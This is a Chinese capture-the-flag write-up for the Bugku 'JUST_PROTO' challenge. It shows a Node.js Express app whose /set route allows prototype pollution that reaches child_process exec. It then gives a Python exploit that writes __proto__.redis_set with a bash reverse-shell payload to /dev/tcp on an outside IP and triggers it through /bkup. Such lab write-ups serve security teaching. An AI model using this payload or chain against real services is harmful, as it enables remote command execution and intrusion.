bugku 1850 JUST_PROTO writeup

下载附件,解压得到文件main.js

 1const express = require('express');
 2const { exec } = require("child_process");
 3const app = express();
 4app.get('/', (req, res) => res.send('嗨嗨嗨!!老八来了!!!'));
 5
 6let ba = {
 7    baba: (token)=>{ return !!token },
 8    bababa: ()=>{ if (JSON.stringify(date).length > 10000) date = {} }, 
 9    // set: `redis-cli -h ${ba.redis_host} set `
10    // get: `redis-cli -h ${ba.redis_host} get `
11};
12
13let date = {};
14
15app.get('/set', (req, res) => {
16    ba.bababa(); 
17    const {token, key, val} = req.query;
18    if (!ba.baba(token) || !val) return res.send("wrong"); 
19    date[token][key] = val; 
20    res.json({ is_succ: true })
21});
22
23app.get('/get', (req, res) => {
24    const {token, key} = req.query;
25    if (!ba.baba(token)) return res.send("wrong");
26    let result = date[token];
27    if (result) result = result[key];
28    res.json({ result: result === undefined ? "null" : result, is_succ: result !== undefined })
29});
30
31
32app.put('/bkup', (req, res) => {
33    let date_stream = Buffer.from(JSON.stringify(date)); 
34    const cmd = ba.redis_set + `date ${date_stream.toString('base64')}`;
35    exec(cmd, (err,_,__) => {
36        if (err) return res.json({ is_succ: false });
37        res.json({ is_succ: true });
38    });
39});
40
41app.listen(8080, () => console.log(`嗨嗨嗨!!老八来了!!!`));
42
43
44//没敢吧所有变量名换成bababa 怕被打

启动场景后打开网址

1

根据Nodejs命令执行原型链污染构造payload

1import requests
2
3print(requests.get(
4    "http://82.157.146.43:19332/set?token=__proto__&key=redis_set&val=bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F22.22.22.22%2F62207%200%3E%261';").text)
5requests.put(f"http://82.157.146.43:19332/bkup")

运行后获得反弹shell,查看flag

2